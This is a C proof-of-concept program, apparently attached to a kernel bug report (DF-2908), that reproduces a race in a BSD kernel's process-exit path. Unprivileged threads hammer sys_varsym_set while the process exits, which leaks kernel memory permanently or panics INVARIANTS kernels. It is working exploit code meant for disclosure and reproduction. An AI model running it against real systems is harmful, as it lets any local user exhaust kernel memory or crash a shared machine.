/*
 * DF-2908 — varsymset lifetime race at process exit (sys/kern/kern_varsym.c
 * + sys/kern/kern_exit.c:311-312).
 *
 * exit1() calls varsymset_clean(&p->p_varsymset) + lockuninit() *before*
 * killalllwps() has killed the process's remaining LWPs.  A sibling LWP that
 * is mid-sys_varsym_set(VARSYM_PROC, ...) when the exiting LWP runs
 * varsymset_clean() can re-insert varsym entries into the already-cleaned
 * set after the final clean.  Nothing ever frees those entries again
 * (exit1 cleans exactly once) => permanent M_VARSYM kernel memory leak,
 * triggerable by an unprivileged user.
 *
 * Secondary flavor (INVARIANTS kernels): if the sibling LWP holds
 * p_varsymset.vx_lock exclusive in the gap between varsymset_clean()'s
 * internal LK_RELEASE and lockuninit()'s KKASSERT, lockuninit() panics.
 *
 * Usage:
 *   ./varsym_exit_race race   [nspin] [iters]   -- race children (leak)
 *   ./varsym_exit_race control [nspin] [iters]  -- joined spinners, then exit
 *                                                  (must show NO growth)
 *
 * Needs no privileges: VARSYM_PROC (level 1) varsyms are unprivileged.
 */
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>

#ifndef SYS_varsym_set
#define SYS_varsym_set 450
#endif
#define VARSYM_PROC 1

static volatile sig_atomic_t stop_flag;
static char g_data[232];			/* < MAXVARSYM_DATA (256) */

static void *
spin(void *x __unused)
{
    while (!stop_flag) {
	/* set PROC varsym: varsymmake remove + insert (2 lock cycles) */
	syscall(SYS_varsym_set, VARSYM_PROC, "leak2908", g_data);
    }
    return (NULL);
}

int
main(int argc, char **argv)
{
    const char *mode = argc > 1 ? argv[1] : "race";
    int nspin = argc > 2 ? atoi(argv[2]) : 5;
    long iters = argc > 3 ? atol(argv[3]) : 2000;
    pthread_t th[64];
    long it;
    pid_t pid;
    int i;

    memset(g_data, 'A', sizeof(g_data));
    g_data[sizeof(g_data) - 1] = 0;

    if (nspin > 64)
	nspin = 64;

    for (it = 0; it < iters; it++) {
	pid = fork();
	if (pid == 0) {
	    /* child: spin sibling LWPs hammering the PROC varsym set */
	    for (i = 0; i < nspin; i++)
		pthread_create(&th[i], NULL, spin, NULL);
	    usleep(2000);			/* let them enter the loop */
	    if (strcmp(mode, "control") == 0) {
		stop_flag = 1;			/* quiesce BEFORE exiting */
		for (i = 0; i < nspin; i++)
		    pthread_join(th[i], NULL);
	    }
	    _exit(0);	/* exit1: varsymset_clean + lockuninit, THEN killalllwps */
	}
	waitpid(pid, NULL, 0);
	if ((it % 500) == 499) {
	    printf("iter %ld done\n", it + 1);
	    fflush(stdout);
	}
    }
    printf("%s: finished %ld iters (nspin=%d)\n", mode, iters, nspin);
    return (0);
}
